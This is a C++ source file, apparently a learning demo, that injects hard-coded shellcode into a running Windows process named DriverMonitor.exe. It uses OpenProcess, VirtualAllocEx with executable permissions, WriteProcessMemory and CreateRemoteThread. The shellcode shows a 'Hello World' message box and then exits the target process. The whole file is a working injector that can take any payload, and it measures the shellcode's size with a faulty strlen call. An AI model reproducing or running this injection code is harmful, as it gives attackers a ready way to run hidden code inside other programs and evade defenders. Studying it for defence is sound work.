code-inject.cpp

#define _CRT_SECURE_NO_DEPRECATE
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
DWORD find_process();
char shellcode[] = { 0x33, 0xC9, 0x64, 0x8B, 0x49, 0x30, 0x8B, 0x49, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x59, 0x08, 0x8B, 0x41, 0x20, 0x8B, 0x09, 0x80, 0x78, 0x0C, 0x33, 0x75, 0xF2, 0x8B, 0xEB, 0x03, 0x6D, 0x3C, 0x8B, 0x6D, 0x78, 0x03, 0xEB, 0x8B, 0x45, 0x20, 0x03, 0xC3, 0x33, 0xD2, 0x8B, 0x34, 0x90, 0x03, 0xF3, 0x42, 0x81, 0x3E, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF2, 0x81, 0x7E, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xE9, 0x8B, 0x75, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x14, 0x56, 0x8B, 0x75, 0x1C, 0x03, 0xF3, 0x8B, 0x74, 0x96, 0xFC, 0x03, 0xF3, 0x33, 0xFF, 0x57, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68, 0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD6, 0x33, 0xC9, 0x57, 0x66, 0xB9, 0x33, 0x32, 0x51, 0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0xFF, 0xD0, 0x57, 0x68, 0x6F, 0x78, 0x41, 0x01, 0xFE, 0x4C, 0x24, 0x03, 0x68, 0x61, 0x67, 0x65, 0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54, 0x50, 0xFF, 0xD6, 0x57, 0x68, 0x72, 0x6C, 0x64, 0x21, 0x68, 0x6F, 0x20, 0x57, 0x6F, 0x68, 0x48, 0x65, 0x6C, 0x6C, 0x8B, 0xCC, 0x57, 0x57, 0x51, 0x57, 0xFF, 0xD0, 0x57, 0x68, 0x65, 0x73, 0x73, 0x01, 0xFE, 0x4C, 0x24, 0x03, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x53, 0xFF, 0xD6, 0x57, 0xFF, 0xD0 };
int main()
{
	DWORD ppid = find_process();
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ppid);
	DWORD dwsize = strlen((const char *)shellcode);
	LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, pRemoteBuf, shellcode, dwsize, NULL);
	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuf, NULL, 0, NULL);
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hProcess);
	CloseHandle(hThread);
	return 0;
}

DWORD find_process()
{
	printf("正在检测进程。。。\n");
	while (true)
	{
		int processPid;
		PROCESSENTRY32 stProcess;
		BOOL flag;
		memset(&stProcess, 0, sizeof(PROCESSENTRY32));
		HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		stProcess.dwSize = sizeof(PROCESSENTRY32);
		flag = Process32First(hSnapShot, &stProcess);
		do
		{
			if (wcscoll(stProcess.szExeFile, (L"DriverMonitor.exe")) == 0)
			{
				processPid = stProcess.th32ProcessID;
				printf("检测到进程!\n");
				return processPid;
			}
			flag = Process32Next(hSnapShot, &stProcess);
		} while (flag);
	}
}